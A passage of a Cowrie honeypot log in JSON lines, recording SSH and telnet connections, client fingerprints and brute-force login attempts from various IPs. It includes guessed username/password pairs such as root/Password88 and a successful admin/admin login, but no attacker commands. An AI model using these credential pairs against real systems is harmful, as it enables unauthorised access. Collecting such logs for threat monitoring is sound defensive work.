{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":34730,"dst_ip":"159.203.135.109","dst_port":23,"session":"6935c553c0ab","protocol":"telnet","message":"New connection: 45.181.100.135:34730 (159.203.135.109:23) [session: 6935c553c0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:00.757011Z"}
{"eventid":"cowrie.session.closed","duration":120.0014762878418,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:00.967714Z","src_ip":"45.181.100.135","session":"2229c4c78841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":34740,"dst_ip":"159.203.135.109","dst_port":23,"session":"028235cd2506","protocol":"telnet","message":"New connection: 45.181.100.135:34740 (159.203.135.109:23) [session: 028235cd2506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:01.480943Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.143.162.210","src_port":51886,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e9cde8f38fe","protocol":"ssh","message":"New connection: 3.143.162.210:51886 (10.17.0.5:22) [session: 3e9cde8f38fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:09.024413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:09.267587Z","src_ip":"3.143.162.210","session":"3e9cde8f38fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:09.271084Z","src_ip":"3.143.162.210","session":"3e9cde8f38fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":44526,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddece8833482","protocol":"ssh","message":"New connection: 37.143.61.130:44526 (159.203.135.109:22) [session: ddece8833482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:13.095507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:13.706131Z","src_ip":"37.143.61.130","session":"ddece8833482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:14.498362Z","src_ip":"37.143.61.130","session":"ddece8833482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password88","message":"login attempt [root/Password88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:16.902100Z","src_ip":"37.143.61.130","session":"ddece8833482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:18.000759Z","src_ip":"37.143.61.130","session":"ddece8833482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:19.271240Z","src_ip":"3.143.162.210","session":"3e9cde8f38fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59120,"dst_ip":"159.203.135.109","dst_port":22,"session":"11ff006fbffd","protocol":"ssh","message":"New connection: 159.203.92.129:59120 (159.203.135.109:22) [session: 11ff006fbffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:34.089728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:34.094559Z","src_ip":"159.203.92.129","session":"11ff006fbffd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:34.098713Z","src_ip":"159.203.92.129","session":"11ff006fbffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"bhfiR3jfH%bcxtu8","message":"login attempt [ansible/bhfiR3jfH%bcxtu8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:34.119159Z","src_ip":"159.203.92.129","session":"11ff006fbffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161671638489,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:35.065133Z","src_ip":"89.43.133.209","session":"a82b86bef3b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:35.126279Z","src_ip":"159.203.92.129","session":"11ff006fbffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.76.105.46","src_port":58570,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f8733425ce5","protocol":"telnet","message":"New connection: 47.76.105.46:58570 (159.203.135.109:23) [session: 2f8733425ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:40.461137Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.133.209","src_port":60925,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e30951a15e4","protocol":"telnet","message":"New connection: 89.43.133.209:60925 (10.17.0.5:23) [session: 6e30951a15e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:44.074010Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":55588,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce43185f10a","protocol":"telnet","message":"New connection: 139.162.207.207:55588 (10.17.0.5:23) [session: 2ce43185f10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:50.114493Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36800,"dst_ip":"159.203.135.109","dst_port":22,"session":"c03a0bc4b6b3","protocol":"ssh","message":"New connection: 159.203.92.129:36800 (159.203.135.109:22) [session: c03a0bc4b6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:19:19.643785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:19:19.648381Z","src_ip":"159.203.92.129","session":"c03a0bc4b6b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:19:19.652696Z","src_ip":"159.203.92.129","session":"c03a0bc4b6b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"blabla123x!","message":"login attempt [ansible/blabla123x!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:19:19.665524Z","src_ip":"159.203.92.129","session":"c03a0bc4b6b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:19:20.673373Z","src_ip":"159.203.92.129","session":"c03a0bc4b6b3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:19:21.801677Z","src_ip":"47.76.105.46","session":"2f8733425ce5","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:19:21.862026Z","src_ip":"47.76.105.46","session":"2f8733425ce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.41736435890198,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:19:29.531747Z","src_ip":"139.162.207.207","session":"2ce43185f10a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00308799743652,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:00.760080Z","src_ip":"45.181.100.135","session":"6935c553c0ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":38211,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ba6b4ec84e5","protocol":"telnet","message":"New connection: 45.181.100.135:38211 (159.203.135.109:23) [session: 2ba6b4ec84e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:01.218478Z"}
{"eventid":"cowrie.session.closed","duration":120.00120210647583,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:01.482017Z","src_ip":"45.181.100.135","session":"028235cd2506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52706,"dst_ip":"159.203.135.109","dst_port":22,"session":"89cd1a134361","protocol":"ssh","message":"New connection: 159.203.92.129:52706 (159.203.135.109:22) [session: 89cd1a134361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:06.588970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:06.643851Z","src_ip":"159.203.92.129","session":"89cd1a134361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:06.647873Z","src_ip":"159.203.92.129","session":"89cd1a134361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":38380,"dst_ip":"159.203.135.109","dst_port":23,"session":"02d932d515d9","protocol":"telnet","message":"New connection: 45.181.100.135:38380 (159.203.135.109:23) [session: 02d932d515d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:06.685072Z"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"bluemedix@123","message":"login attempt [ansible/bluemedix@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:06.916272Z","src_ip":"159.203.92.129","session":"89cd1a134361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:07.972047Z","src_ip":"159.203.92.129","session":"89cd1a134361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":49380,"dst_ip":"10.17.0.5","dst_port":22,"session":"08e2c5a9818d","protocol":"ssh","message":"New connection: 80.94.92.182:49380 (10.17.0.5:22) [session: 08e2c5a9818d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:19.208889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:19.234412Z","src_ip":"80.94.92.182","session":"08e2c5a9818d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":34744,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e25cf896252","protocol":"ssh","message":"New connection: 156.227.233.77:34744 (159.203.135.109:22) [session: 4e25cf896252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:19.349772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:19.354434Z","src_ip":"156.227.233.77","session":"4e25cf896252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:20:19.479410Z","src_ip":"80.94.92.182","session":"08e2c5a9818d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha